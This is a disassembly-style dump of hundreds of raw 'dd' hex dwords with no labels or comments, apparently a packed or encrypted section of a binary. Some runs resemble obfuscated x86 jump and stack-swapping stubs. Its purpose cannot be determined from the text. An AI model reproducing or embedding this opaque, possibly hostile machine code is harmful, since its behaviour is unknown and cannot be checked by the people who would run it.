		dd 0FACB50F8h, 4F1A4C8Eh, 0D611F821h, 0C6CCC4D1h, 79717041h
		dd 69EB2EEFh, 0D90452F4h, 3DB68786h, 2729B240h,	83E45C39h
		dd 0D4000000h, 400994A2h, 3B394641h, 0BBD61189h, 85B2CB1h
		dd 0D1564510h, 0AFAE7703h, 6A6261B4h, 1E1615DEh, 95DBA698h
		dd 5DD61145h, 6FEFD50h,	0D3B3B27Bh, 6FD07B78h, 0B2830917h
		dd 3AE2DFBAh, 8F60E7B5h, 0CB96C83Ch, 0D61145A5h, 0EFB8434Dh
		dd 0AAA2F5F0h, 0D056A588h, 204B00FFh, 70D61145h, 231B1AEBh
		dd 0D9D1D099h, 8B86854Eh, 2FFBF853h, 11450E64h,	86D9E6D6h
		dd 0AB39360Bh, 5C39E320h, 1EBh,	24323A00h, 0CDD3CB9Ch
		dd 2EC7745h, 11453937h,	59ACB9D6h, 0D0C5F5Ah, 0FEF4BFF1h
		dd 76D61145h, 0E46B7169h, 33969F13h, 24EC1CDFh,	3F0893E3h
		dd 984D4540h, 4B4A1BA0h, 100C953h, 5C0704E3h, 620A07E6h
		dd 529D09DAh, 0ED94D2Bh, 0DC148129h, 0A0A24449h, 5D8BDE71h
		dd 9F269012h, 378AD18Fh, 0E8B94038h, 6D75E7Ch, 5F1A5207h
		dd 0ED78D015h, 0A72D2524h, 9CF7D7D6h, 3B93F49Fh, 0A0419732h
		dd 251D4C3Eh, 73814D4Ah, 1E241CEDh, 4452C697h, 0F1ECEBBCh
		dd 32B9D7F9h, 8910DE64h, 6B6665B8h, 9A211918h, 5D1CCAC9h
		dd 6031B860h, 6DFBF0F4h, 1E325A3Dh, 81000001h, 0B024FC29h
		dd 145F4AE5h, 181724DCh, 0BDD09920h, 92ED82B7h,	0D5F35FB2h
		dd 28F9804Eh, 0DCDB2E29h, 8D8C5DE4h, 7B2320DFh,	75B723F4h
		dd 1C7A7843h, 0F5FAD012h, 1B4FD6C0h, 0D3CB1E30h, 3A59ECE7h
		dd 47275Ah, 29760000h, 83B529F1h, 3167667Ah, 0E3DB50DCh
		dd 11BF6220h, 0AF6B74D6h, 1E2FAACCh, 6F7C2820h,	0B04B5470h
		dd 5F9A7FCAh, 0ACC2857Dh, 2AD611CBh, 7DAD827Fh,	0B06E39ADh
		dd 40D611CBh, 25B1BF33h, 1542645Ch, 91h, 35003218h, 0D611453Fh
		dd 7FB2AAB7h, 24F57D06h, 63D72A25h, 3E34FF31h, 0B6D61145h
		dd 41EEB1A9h, 31DC1467h, 0A62D2524h, 0F52769D5h, 1266C42Ah
		dd 0A79FACD0h, 4A491AA1h, 12655495h, 0A19EA7D0h, 35A172F9h
		dd 8F60E5F3h, 5F396497h, 588120EBh, 0C8D5DA18h,	794AD1C9h
		dd 0A371F705h, 524D4C1Dh, 910500FFh, 1C19A8C6h,	433B48DAh
		dd 9491708Eh, 6334BAC8h, 33CD386Bh, 20ADF4BFh, 1D2BD016h
		dd 20CCC495h, 0C919F13h, 9364EB3Bh, 7FA19994h, 24FC299Ch
		dd 7CDCE5B0h, 0EA1CDC1Bh, 1B72D11Fh, 9C94A1D0h,	0C8E4E3F0h
		dd 0FCE615BFh, 2018C673h, 4EC2931Ah, 1FACF045h,	0BFB7BCD0h
		dd 27F87F9Dh, 0FEB27328h, 0C06A01A9h, 635B2CB2h, 5CE38B88h
		dd 7A011F8Bh, 552C35A9h, 7CC26279h, 330EE44Dh, 0B90C8C05h
		dd 8A140CC1h, 0C5A4C2C1h, 0C89920C8h, 800C1A5Ch, 0C5BDB8B7h
		dd 0F36738BFh, 93925BE5h, 0E4EBA098h, 11h, 23F47A88h, 0B7DE2924h
		dd 237498DAh, 54905B53h, 4CD563Dh, 0B5860D05h, 6932BEB6h
		dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h,	0EABB433Bh
		dd 9C6DF3EBh, 89526F9Dh, 4C281E2h, 83000000h, 143304EAh
		dd 24143124h, 5C241433h, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 53240489h, 0C381E389h, 4, 4EB81h, 1C870000h,	34895C24h
		dd 0BF575324h, 55FF16FDh, 8102EFC1h, 605D99CFh,	2E7C13Dh
		dd 407FEF81h, 0E781234Ah, 52019DFh, 0D91DEF81h,	0FB89FA15h
		dd 5BD8895Fh, 8904EC83h, 4832424h, 835E0424h, 148904ECh
		dd 8BA24h, 0F2010000h, 0FF5A0289h, 815E2434h, 4C4h, 2434FF00h
		dd 4C48158h, 0E9000000h, 0FFF941B1h, 0C523EE97h, 59A77D5Fh
		dd 0B8A9C471h, 60A3BD1h, 0E0FFC503h, 7868547Fh,	73518FD9h
		dd 4D34EFCBh, 7E8AC57Fh, 37114214h, 3D46D520h, 3E145BC2h
		dd 6FE0C8F7h, 67332997h, 13F47D9h, 6E331733h, 1345B240h
		dd 4DC39E67h, 5793D4DAh, 63A1EC6Bh, 636937ADh, 7D756E4Eh
		dd 6A599CFFh, 1AB7984Eh, 5FBBDAB9h, 666023E7h, 4DC874FAh
		dd 1B85987Fh, 0A5ADB8Dh, 4C160DCDh, 0BE7C04EBh,	0C9E95843h
		dd 48000004h, 6C8AF6BFh, 8BA915E6h, 0A8C63203h,	0CBE9551Eh
		dd 4A097546h, 0E4B53AFEh, 6CF5A78h, 27F07C9Ah, 45169DBBh
		dd 5D28D4D9h, 0D01B7917h, 56BED1DFh, 0A87901CFh, 5C5BAEA9h
		dd 0A20EDF64h, 0B82CFD84h, 45B5BB86h, 303DD611h, 938B54E0h
		dd 8E5FE6DEh, 4011978Fh, 9066141h, 0DCA52F3Dh, 0E4EAE2DDh
		dd 42038F5Dh, 7FAE8561h, 2625789Ch, 0D9D8A92Eh,	0C4388BDEh
		dd 6A622BB6h, 0D59E2A48h, 0FDCE5361h, 39C5E305h, 0EE797170h
		dd 0B47FB125h, 0D61172BEh, 7C312936h, 0B6827F5Eh, 72BBB984h
		dd 2E3BD611h, 0DBA43036h, 0F9CA516Fh, 722A45FAh, 6A3FD611h
		dd 0D414DF6Dh, 5C1F5C39h, 6E000000h, 0FFFECF56h, 1145224Ah
		dd 737045D6h, 39E3EEE5h, 3904365Ch, 0D611493Bh,	4F63AEBBh
		dd 0D056DA52h, 186C1B9h, 0D5000000h, 0FFD056h, 0C5908208h
		dd 0D61145AFh, 0E8E73A47h, 299D66F0h, 0C6C5961Bh, 3D83F2D3h
		dd 36894682h, 4EA9893Eh, 5223A951h, 7041C8E6h, 9B64EEFCh
		dd 569E81A3h, 838C00D1h, 0AEA029F1h, 0B5ADBCh, 2CB48208h
		dd 0E615C5Bh, 579D689Ah, 1FD6110Ah, 6C3DC212h, 0C57A726Dh
		dd 0B35B5817h, 0D3F15D2Eh, 847C7B4Ch, 5B2C2BFCh, 8C57E5E2h
		dd 875C39AEh, 65h, 0D156D6h, 0B3810901h, 7E76728h, 3FEDC86Ah
		dd 0BA9A99ECh, 35BA625Fh, 67E7F064h, 7CDCEA36h,	0F7395B53h
		dd 9B9364E9h, 403F1095h, 0F6F5BE48h, 21AFAC25h,	5C39E7BAh
		dd 5D71h, 0D156C000h, 0D7E50100h, 81877F50h, 242D2CF5h
		dd 20521E1Bh, 11451F55h, 7ACAD7D6h, 242A22F3h, 4C5ACE9Fh
		dd 0DBFDF5C6h, 0DED056F8h, 1145DD13h, 3D8895D6h, 0F46BB8ACh
		dd 29287BC4h, 11427B74h
		dd 9C996ED6h, 6F38C2D0h, 36017570h, 0D6114238h,	0C7B3ABB8h
		dd 5C39E40Ch, 107h, 24325600h, 0D3D9D19Ah, 837B7A4Bh, 0E2C2BFCh
		dd 28A322Fh, 452F4510h,	7E49D611h, 0D6114570h, 0F0FDF300h
		dd 8F1B299Dh, 61ACCEC6h, 0DAE85C24h, 88838253h,	9C9B6690h
		dd 0D6DC1467h, 7A7942CCh, 352D2C7Fh, 5B69DDAEh,	0EC0E06CFh
		dd 777647CEh, 1266AAC2h, 955EE8D0h, 4B149E96h, 0E2DF9E4Ch
		dd 0B0BF613Fh, 3F92B295h, 0EE7886DEh, 0DB2B2625h, 0B5908851h
		dd 0B88910B8h, 74FC0A4Ch, 1EA5ABA3h, 44CBD94Dh,	7C698752h
		dd 0FC09D012h, 2CB2AAA9h, 5B10085Bh, 0C0BDC63h,	0D6A29F5Eh
		dd 7C9BD9A4h, 4E5BD012h, 0F8C95056h, 0DA43888Ch, 0E2CA5A3Ah
		dd 19000000h, 0B024FC29h, 4D4C1DA2h, 0FE305A52h, 0FC7B6DF5h
		dd 0DCAFF0E0h, 3290DBE0h, 0A972FC49h, 645CAFAAh, 144C96A1h
		dd 0D4D3E0DCh, 188455DCh, 0A3A273FAh, 648A5587h, 0CD0126Bh
		dd 57AA7B02h, 9D2595Fh,	4EEE3F27h, 7776C9B2h, 650D0AC9h
		dd 9DA10DDEh, 5A3ABF56h, 27DDh,	0F1292C00h, 34EAB529h
		dd 0BCD61145h, 0F5FBB0AFh, 63D61144h, 0B2E6BBB8h, 0F9A772E6h
		dd 79D61144h, 62D3006Ch, 0D6000000h, 0B024FC29h, 14674EE5h
		dd 1C1B28DCh, 60CC9D24h, 76EABB42h, 0AEC6AF6Dh,	201E2411h
		dd 0CDC2728h, 560B0368h, 126458A1h, 7039C4D0h, 20F17971h
		dd 0C1BE6921h, 0AFACB516h, 43AF8007h, 7FF38DF8h, 18A1A3B4h
		dd 0F0E1BDAh, 0C0BF9017h, 0FAC6C3A2h, 9C9465ECh, 0F0643C69h
		dd 16E2D225h, 137F8CD0h, 24FC2930h, 8292E5B0h, 3F4CDC1Bh
		dd 371B2440h, 0F3E22BEh, 9C232921h, 0BA415FCBh,	0B735EAE9h
		dd 0ED325182h, 66ED9592h, 840B2995h, 420D3FB3h,	0B245FA2Ch
		dd 0ABFB7C4h, 83F1BCEEh, 73B245FAh, 0FA747A45h,	0EFFCB245h
		dd 149EA49Ch, 0FB492C53h, 82D5A332h, 89866583h,	1D895AE1h
		dd 33A778FFh, 9F6D902Ah, 29AF56ADh, 0B5E5958h, 0E4A6CC97h
		dd 414EB245h, 38D9449h,	90000000h, 0CD563D54h, 860D0504h
		dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h
		dd 0BB433B3Ah, 6DF3EBEAh, 506F9D9Ch, 0B951E089h, 4, 8359C801h
		dd 48704E8h, 89505C24h,	405E0h,	42D0000h, 87000000h, 895C2404h
		dd 89562414h, 4C681E6h,	81000000h, 4EEh, 24348700h, 242C895Ch
		dd 9C268h, 240C8900h, 0A3CF2B9h, 59CA8906h, 37EC68h, 24248900h
		dd 4240481h, 5D000000h,	5F3A68h, 24148900h, 8B08458Fh
		dd 8950242Ch, 405E0h, 0C0830000h, 24048704h, 24148B5Ch
		dd 5E08950h, 4,	405h, 24048700h, 3C73E95Ch, 58FCFFF9h
		dd 63D328A0h, 24F2E71h,	0D9098C67h, 0A411AB8h, 0FFC50306h
		dd 39408BE0h, 507F8559h, 0DA06AE29h, 0EDC94A66h, 8593440Ch
		dd 1EDB5E6Ch, 79A93A55h, 784DEA5Ah, 3F9D2A2Bh, 0F8C3B424h
		dd 0CB6631Eh, 0EE26057h, 0FAFBA23Dh, 6DB041Bh, 7A1ADF0Ch
		dd 0C28D8D26h, 8B060A42h, 0A58D89C1h, 89060320h, 306F9B5h
		dd 0A6BF6606h, 6585C7CCh, 9406031Ah, 81000073h,	901604C0h
		dd 7185C760h, 60300h, 0BB000000h, 7CF07F2Dh, 0EA9B5FFh
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0DF7337C3h, 2ED19D8Bh, 95FF0603h,	603171Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DDC35242h
		dd 0EF1924AFh, 70A86539h, 19850Fh, 14E90000h, 15000000h
		dd 6B9FF2Fh, 2AC54487h,	83750CE5h, 0E19DB5BFh, 0E87A0C94h
		dd 5, 3B040E49h, 58D8971h, 5E06032Fh, 95FF006Ah, 60323A5h
		dd 5AEBC08Bh, 584FE41Bh, 55173A7Dh, 20993D20h, 0C9390BD1h
		dd 4A6FEBB6h, 4BF4414Bh, 760AE3Bh, 7301EB40h, 0E897C061h
		dd 0CF76CA2Ah, 20B69C08h, 1728D4D4h, 51973F73h,	89E31D86h
		dd 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B4BB82CDh, 9EB5F692h
		dd 93245990h, 8A4C4B87h, 859856C1h, 4EB595Dh, 5AFA4308h
		dd 53AE9h, 30F98200h, 4F20A6C4h, 6C3DC5E3h, 8F58E200h
		dd 0AF800523h, 74388443h, 94B21EEFh, 0B6D44009h, 0D7F5612Ah
		dd 0E137F50h, 6599762h,	0B19D01Bh, 0FECF56F8h, 0B18207FFh
		dd 6D10345h, 0D61145E8h, 5DF98388h, 467241A8h, 6EF5FBF3h
		dd 1FA69E9Dh, 0D1574F4Eh, 0C6210100h, 0C99A21C9h, 99C24C55h
		dd 5555D651h, 911D3B5Dh, 0B23E5CC8h, 67F2EAE9h,	2DF82A9Eh
		dd 0D611BDC7h, 9157A2AFh, 41D080D9h, 0EC0ABFB7h, 6C92B5BEh
		dd 0E74DE0A1h, 4B1714EFh, 5D204E19h, 0C3D0D611h, 7039C5CBh
		dd 8E5FE604h, 7641738Fh, 0D6115D78h, 30F3EBF8h,	0D6115DC7h
		dd 0CA58552Ah, 5C39FB01h, 6A0Ch, 0CF565B00h, 224AFFFEh
		dd 70D61145h, 251D1CE5h, 794AD19Fh, 0EC472726h,	0F4C944EFh
		dd 0E36269F7h, 1A95C39h, 0F8000000h, 0FFD056h, 2CB48208h
		dd 0E615C5Bh, 0C78D170Fh, 1D1C6F40h, 0CFCE9F25h, 7F7E4FD7h
		dd 6A1512D1h, 32DAD732h, 8B54DEACh, 4009948Ch, 0A0F34641h
		dd 0BE8F1634h, 0C5B73C4Ah, 1145F4FAh, 1C6F7CD6h, 321F0224h
		dd 0B604BF29h, 0CAB93B56h, 35549EAh, 838981D4h,	33410CFEh
		dd 0C3D61188h, 486463B6h, 0DB19E416h, 9BD61188h, 8873818Eh
		dd 0CDAED611h, 47DAD29Fh, 625A675Dh, 8108D65Ch,	5D5C2DB3h
		dd 0BDBC0F62h, 0AB53500Fh, 0A7E95526h, 0E940E69Eh, 0C1A991AAh
		dd 0D27DC8C7h, 0DE69B98Eh, 231B1615h, 41C8961Dh, 23767170h
		dd 0D6A42C24h, 2DF6814Fh, 51387DAh, 0B2ADAC7Dh,	0B0ADB62h
		dd 92631810h, 558E1C19h, 0F15C39B0h, 89359E3h, 0F245403Fh
		dd 0C500F8F3h, 0A2h, 3D15614h, 5B24AE7Ch, 0BEB6B508h, 12E36836h
		dd 0D9A41813h, 0D611459Bh, 0FCFB4E5Bh, 0DC64721Ch, 3B38130Bh
		dd 10D6616Fh, 0C3BEBD86h, 7E767170h, 0B622F378h, 0C0451398h
		dd 819D9CEFh, 5BC3B478h, 0F77DA197h, 0F983D326h, 3E363130h
		dd 0E6E5AE38h, 0D39F9C15h, 62A3D5CAh, 4A9597B2h, 0F7BF3270h
		dd 2E1A12E5h, 5C394DB5h, 6780h,	0D156CF00h, 0DCE50100h
		dd 97B6CC59h, 1CED7308h, 0D7CF221Dh, 7D7C45D1h,	0A830FE85h
		dd 8D8584D7h, 30393801h, 1E7F2A27h, 0EB701815h,	93028422h
		dd 308389BCh, 0D056E1C4h, 0B2B7FF07h, 9A654F81h, 0D611C754h
		dd 69BC0F1Ch, 0C7BAB56Ah, 8BAFD611h, 0D924F57Dh, 0EBE80969h
		dd 8D686072h, 3BC90290h, 1445C39h, 93000000h, 0FEFDCE56h
		dd 0C28D7F06h, 0D61145ACh, 91EC3744h, 0AA4F9E3Ch, 0D8F6F548h
		dd 0CC54FCF9h, 0D9448FFBh, 3B00CB3Fh, 3BDC1453h, 0B0372F2Eh
		dd 178B5CE2h, 1212264Ch, 6EC1CED0h, 0C38EC002h,	0D01212ADh
		dd 3A403845h, 2EE3E2B3h, 0D01212C6h, 0FFC854h, 2AB67C08h
		dd 60F0E61h, 0F45500FDh, 0BF46EEEBh, 324082EEh,	0E1E7DFA8h
		dd 928A895Ah, 8D3B3A0Bh, 0A229D1CEh, 152365D1h,	0C8C3C28Bh
		dd 0B4EFE4D0h, 11265A3Ah, 75000001h, 0B024FC29h, 4F6640A7h
		dd 0C717FD10h, 7873723Bh, 0A08B5680h, 0CADC14CAh, 94A2BEBDh
		dd 4349410Ah, 3D7FEBBCh, 0F532400Bh, 0B5C2D012h, 3E30B7BDh
		dd 12F57D73h, 95E8F5D0h, 4E179E96h, 2879BFB6h, 895AE292h
		dd 0E93C8F8Ah, 807D3CEAh, 148051D8h, 3ADBDB10h,	48525Ah
		dd 29A10000h, 0EAB529F1h, 0D6114534h, 0FBB0AFBCh, 0D61144F5h
		dd 0E6BBB863h, 334DEEB2h, 0DC90DEA9h, 5360D611h, 0D8FED308h
		dd 0A4081185h
		dd 1B7D6B3Eh, 7D2FCF4h,	0D611EA59h, 1E60CCD9h, 0F82F2915h
		dd 3B33E554h, 6F26h, 0FC292900h, 4EE5B024h, 0AADC1467h
		dd 322723A1h, 159A9990h, 0F74A4544h, 474653FFh,	8BF7C84Fh
		dd 0A115E66Dh, 8DF28698h, 857D4AB6h, 57DE1BD0h,	242DD012h
		dd 27F87F27h, 6B3570BBh, 9AA12CF7h, 0C3CDDA18h,	18176A3Bh
		dd 9566EEFCh, 3F10979Dh, 46432240h, 777D487Ah, 0FFDA1C13h
		dd 0A09F70F5h, 275A52A5h, 0E3AE22FEh, 0D016DEEAh, 280B7784h
		dd 0D0992432h, 0A078A5D8h, 8874612Ch, 0F502DC1Bh, 0A677FEF6h
		dd 0C4951C3Ah, 133910C5h, 0A0FB350Bh, 0A374FBA3h, 60E7F537h
		dd 58FA7997h, 388B59BCh, 0E2B33A40h, 0CD5606Eh,	651A120Dh
		dd 1B1AE36Dh, 0CCC6CFFDh, 8AE24386h, 55522D25h,	26EF7B89h
		dd 0DCA52F27h, 48B9189h, 1294712h, 0C4C9B4EBh, 124980DAh
		dd 73C619D9h, 9162E907h, 38B92h, 548E0000h, 4CD563Dh, 0B5860D05h
		dd 6932BEB6h, 1EE7726Ah, 0D1A2271Fh, 8455DAD2h,	3A038D85h
		dd 0EABB433Bh, 9C6DF3EBh, 0D686F9Dh, 89000025h,	8957242Ch
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 241C895Ch, 5C9B68h
		dd 240C8900h, 0A432C68h, 241C8B06h, 4C481h, 21680000h
		dd 8900001Ch, 4812424h,	424h, 56535900h, 320530BEh, 2474297Bh
		dd 418F5E04h, 8418108h,	7B320530h, 592434FFh, 4C481h, 34FF0000h
		dd 0C4815B24h, 4, 0F935C0E9h, 0A12009FFh, 0B80C4F58h, 60A47EDh
		dd 0E0FFC503h, 334A9A54h, 41D776C3h, 7A548725h,	7B7BB931h
		dd 202BBC90h, 2BBDFB12h, 0EE3C4EBh, 20D6F1EBh, 77975842h
		dd 61776DD2h, 5711A4CBh, 0C0AC47Eh, 677C9063h, 48BC30B2h
		dd 0FD004EBh, 9FE95543h, 8000005h, 2C4AB67Fh, 4B69D5A6h
		dd 6886F2C3h, 8BA915DEh, 0AC93506h, 0A475FABEh,	0C68F1A38h
		dd 0E7B03C5Ah, 5D65D7Bh, 1DE89499h, 0D01B0DD7h,	567E919Fh
		dd 7FFFECFh, 0AFC59082h, 47D61145h, 5D7BE73Ah, 0E0605D6h
		dd 1042B687h, 11452F45h, 6FBAC7D6h, 10B2E3AFh, 6A1F17FEh
		dd 0A71BEC72h, 46450E99h, 0D9115F2Ah, 0D4E1D611h, 0F4D48981h
		dd 6DF49C99h, 0C74F159Fh, 0A9FCF7F6h, 0F05CAFAAh, 97D46D2h
		dd 0D9E60CD7h, 0A934D611h, 0E5DDEAE0h, 844F81C3h, 0D611D96Eh
		dd 0A576FC06h, 0C8545A52h, 7D0800FFh, 0B897B5B4h, 0BE8713BBh
		dd 274D184Ah, 0CFD611D9h, 6F6E3FC5h, 7292174h, 1D9162E9h
		dd 37BE840Fh, 1C141366h, 7A72C596h, 0D9E710C5h,	350AD611h
		dd 0CD636C38h, 0B775C61h, 9682F0BBh, 6572D611h,	6E37C212h
		dd 30418A76h, 0ABDD5C39h, 119A92E0h, 0B08108D6h, 0B6C0B6B1h
		dd 160E612Ah, 4EDBh, 24322A00h,	0D6D1D099h, 5F51D8DEh
		dd 0FDFCC551h, 45FFF502h, 6A77D611h, 0A95A317h,	0DF944941h
		dd 0D6114597h, 7A0805DAh, 5C39E371h, 1BCh, 0D0560B00h
		dd 820800FFh, 30BAB2B1h, 0DE886867h, 807849D0h,	7A00A8A5h
		dd 981F3DA9h, 56785BC7h, 838C00D1h, 906E3FA3h, 0EA9F97EEh
		dd 0A3D19CCEh, 53D611B0h, 0FA0004Eh, 0C5F7F58h,	0B7880E14h
		dd 4E4B0AB8h, 0E45021A6h, 6F6E3FC6h, 9921EF77h,	4AD6C9C8h
		dd 3C59C5EBh, 911D6DC0h, 7BCEC9C8h, 3532AB7Ch, 39273CA7h
		dd 6FFA085Ch, 8073AEA6h, 0C2000000h, 100D156h, 2BB38109h
		dd 4D880F5Ah, 67F06097h, 0C92A014h, 0F1413C3Bh,	0A09B9A6Bh
		dd 74FBF3A8h, 0BD88A4A3h, 0D611FEB7h, 57E2323Fh, 54AF8F8Eh
		dd 1974AC57h, 1EEF741Ch, 556770B2h, 5CFDDC23h, 0CF545A52h
		dd 40DC12DDh, 8794D611h, 0B33D3534h, 0A11AEBEAh, 0E4CD16A4h
		dd 6A485C39h, 97000000h, 100D156h, 0B5B47D09h, 0DAA6A3ACh
		dd 0F27A40CCh, 0D4272221h, 3231FA84h, 0B4393F37h, 329477E3h
		dd 51E24229h, 5E5642D7h, 201D258h, 834CD8E6h, 0CE918984h
		dd 0D6114CA5h, 2AF6F3C8h, 0F5FBC6F8h, 7DD6114Ch, 4C0D6370h
		dd 0D8E5D611h, 0EAFFF4E0h, 15475C39h, 1140244Ah, 74BFCCD6h
		dd 195E35D1h, 0CB06FE88h, 1, 0FDCE561Ah, 4DD4E2FEh, 4562905Bh
		dd 512D611h, 2DB4BAB2h,	113F5D5Ch, 45DE14DFh, 8996D611h
		dd 11B9B691h, 1244B889h, 11452947h, 37BFC9D6h, 196C6766h
		dd 49B4FF21h, 0CB703BAFh, 0ABDC1467h, 20A79F9Eh, 3EC5E34Fh
		dd 0BDB96E6Dh, 0DFD01267h, 938B8A53h, 61414009h, 99660906h
		dd 0A769654h, 949DFE51h, 9768EF97h, 0BD860D2Bh,	2E8D628Eh
		dd 9392E5CCh, 4443149Bh, 0EDAD796h, 0F1502205h,	6A6274DBh
		dd 0A00CDD64h, 3AD5579Ch, 160DE5Ah, 322D0000h, 0CFCE9F24h
		dd 7CA9DCD4h, 0D82730A4h, 74D2D7A6h, 48133D35h,	0DC14C2EFh
		dd 0A374FB09h, 5B1A9A4h, 7A01F9F8h, 981F3DA9h, 0C04553C7h
		dd 0FDF5F0EFh, 0F8C95048h, 8F8C4BF9h, 0FB8391C3h, 23302B2Ah
		dd 0D012F2CDh, 9AA098A5h, 9CCE4213h, 12F2A3D1h,	4E4653D0h
		dd 54A3282Ch, 6D7B5A3Ah, 0C42AF5E7h, 0ACD012FEh, 524D4C9Fh
		dd 0EF652007h, 0DDD54852h, 5EA2h, 0FC849200h, 2968332Bh
		dd 0FC431F1h, 984291CBh, 3BC3D145h, 1A19E26Dh, 0AAD4CC1Fh
		dd 13E46A78h, 0C9AA581Bh, 0FC2AD611h, 11C9C331h, 53A6B3D6h
		dd 0C8519F54h, 5C07D611h, 8D1E8A5Fh, 3F3A3902h,	0F7AD78ECh
		dd 1D611C8h, 0C8EE04CFh, 7C86D611h, 2D2827F0h, 2936E2DAh
		dd 8C90BDh, 29930000h, 0E5B024FCh, 0DC14674Eh, 241C1B28h
		dd 92E0AB9Dh, 62D01266h, 78960255h, 6C2120F1h, 0D012650Dh
		dd 0D078757Eh, 0D2047849h, 1261E907h, 847C89D0h, 12EE1762h
		dd 0D65E6C9Eh, 130B0605h, 18A9FF50h, 6B6A77DAh,	2FFAEC73h
		dd 0DA1C29C1h, 49E8CA5Ch, 0B0A65167h, 595150A3h, 0B0302D3h
		dd 0ABB4B384h, 84FAA5A2h, 0AAD3A8A5h, 0C14C5ACEh, 0BD600F8h
		dd 0D0161438h, 77B92532h, 0A7747A45h, 0CEFCC406h, 6A7ED03h
		dd 257885C4h, 2432622Dh, 0A6D9D19Ah, 0FB2DA17Fh, 0F9A68EDh
		dd 0F94C4746h, 0AC7D02FAh, 675FB2ADh, 1B8D93A4h, 0BFBECBDCh
		dd 0FB6F40C7h, 5D53D2F2h, 77EB4864h, 1B5746ACh,	29212ED0h
		dd 9162E907h, 942DDD92h, 0C672F50h, 0AB35430Fh,	87DE97E2h
		dd 0DE16DFB1h, 8859E0E6h, 0A677FE1Ch, 3F828BA7h, 8E57E3CAh
		dd 0F149948Fh, 60E838BAh, 9D95908Fh, 0D0440D97h, 776F38C2h
		dd 0C8C5A4C2h, 54C89920h, 75195722h, 0CCD98F42h, 0FBBB1481h
		dd 7B73039Ch, 0E3B43B59h, 12DDE4h, 32E00000h, 9E67F200h
		dd 5997A49Fh, 19D61145h, 0F50C140Ch, 504CD56h, 0B6B5860Dh
		dd 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh,	3B3A038Dh
		dd 0EBEABB43h, 9D9C6DF3h, 4EC836Fh, 89240489h, 405E0h
		dd 0E8830000h, 24048704h, 79F4685Ch, 2C890000h,	45AC6824h
		dd 4890000h, 48B26824h,	2C8B060Ah, 4C48324h, 24048B54h
		dd 6804C483h, 275Eh, 8F242C89h,	48B0840h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 5D2434FFh,	4C481h,	0DEE90000h
		dd 58FFF92Fh, 0C891E620h, 7438F5E8h, 0F82DCF41h, 0DCB8DD09h
		dd 3060A4Dh, 7FE0FFC5h,	496D4784h, 0F346411Fh, 0FF3E2D87h
		dd 5D43F9CDh, 5B78988Bh, 404626Bh, 3652276Eh, 0A963DCF3h
		dd 514250B2h, 0A0535AC5h, 2B11DF2Ch, 6A0CA732h,	820E33B0h
		dd 8219B9B5h, 0AA6CAAFDh, 6B33E9D5h, 0EB3E039Ch, 0DA13FF04h
		dd 540E93Ch, 76FF0000h,	9D2341ADh, 0BA4260CCh, 0D55F7DE9h
		dd 0FD82A00Ch, 0B501C02Ch, 2F9B6CF1h, 51BD8611h
		dd 72DEA733h, 90FCCD54h, 0DE14DF8Bh, 96D01B0Bh,	82081688h
		dd 0CB96B2B1h, 0D01B0BA5h, 0F5ED404Dh, 9D24322Ah, 28F17CCCh
		dd 30362E29h, 0E1D9D8A9h, 0DD1F8B5Ch, 777647CFh, 0D4A52C7Ch
		dd 7E4FD6DCh, 2F00877Fh, 0E1B23830h, 965FEAE2h,	491A9F97h
		dd 0EAE7924Ah, 96E9BA42h, 5E06035Eh, 0B67F09D7h, 4DD9F763h
		dd 6EFA1884h, 23AEA6A5h, 5E3D5B5Ah, 642DB961h, 0B984B6F8h
		dd 0D61145BBh, 30362E3Bh, 5664D8A9h, 5005FDCEh,	1145509Bh
		dd 0C3C095D6h, 39E3BE35h, 59755Ch, 32C40000h, 453F3500h
		dd 0AAB7D611h, 0C04D55Ah, 0AFAE7F06h, 1145F2FAh, 2320F5D6h
		dd 39E35E95h, 1D55Ch, 32240000h, 0ED03CE00h, 85D61145h
		dd 45056B78h, 0E3EDD611h, 918C8B5Ch, 0BA40463Eh, 6CF2EAE9h
		dd 1AA49C9Bh, 44CFDD51h, 0EECE837Bh, 68EE9693h,	860D2B97h
		dd 566649B5h, 5A8C00D1h, 1145618Fh, 7F0711D6h, 0AE635BAEh
		dd 605F30B6h, 0F09BA4B2h, 0E39BDF16h, 0AEAB867Eh, 8FE5B0E2h
		dd 67D6116Ch, 0D51BE65Ah, 9DD6116Ch, 0D929890h,	2BB2D03Ch
		dd 0D6DDE65Ah, 0D85E4518h, 2018CDC5h, 0D0C8C798h, 837B7A4Bh
		dd 0F2C736F7h, 69DCA248h, 971F1716h, 0E0BB6C6h,	0F0EDF66h
		dd 1F98C114h, 0C64F9422h, 8BC65C39h, 15000000h,	0D0992432h
		dd 7F4DD2D8h, 0D5A62EF4h, 14302F82h, 0D7E6D80Bh, 88807F89h
		dd 2A29FA82h, 0B92A04Ah, 48403B3Ah, 43C8706Dh, 0B6C40672h
		dd 10E1662Ch, 0CBC31611h, 834E40C5h, 0D611566Dh, 0E5530005h
		dd 3769D040h, 9A9291E4h, 0F3C44A10h, 66BEB47Fh,	2936D611h
		dd 8D06D7D6h, 2BB6C490h, 657E6A62h, 0B05C39C2h,	39h, 0D156FFh
		dd 0B47D0901h, 0A6A3ACB5h, 3CA879FEh, 5335F1FAh, 0C36A4C3Ch
		dd 616E844Fh, 0F906D611h, 0D0563601h, 204B00FFh, 45D61145h
		dd 0EEE57370h, 255C39E3h, 1, 0FDCE5674h, 981E8089h, 29077F05h
		dd 0D6D1D0A1h, 0DED68B83h, 69878657h, 81A323Bh,	0FF211825h
		dd 872F2C07h, 77C22EFFh, 21EA750Eh, 0CADC2722h,	5DA949E1h
		dd 8B990D60h, 133D3506h, 9F32D8E1h, 0C028D921h,	17F10875h
		dd 736BCB9Ch, 14768BB0h, 0DFDEEBDCh, 238F60E7h,	0AEAD7E05h
		dd 1271FDF9h, 0D2931FD0h, 949BBD8Ch, 29287B1Bh,	0DBDAAB31h
		dd 0F8A3A0FBh, 84363F97h, 58538B37h, 86835E56h,	5324ACBAh
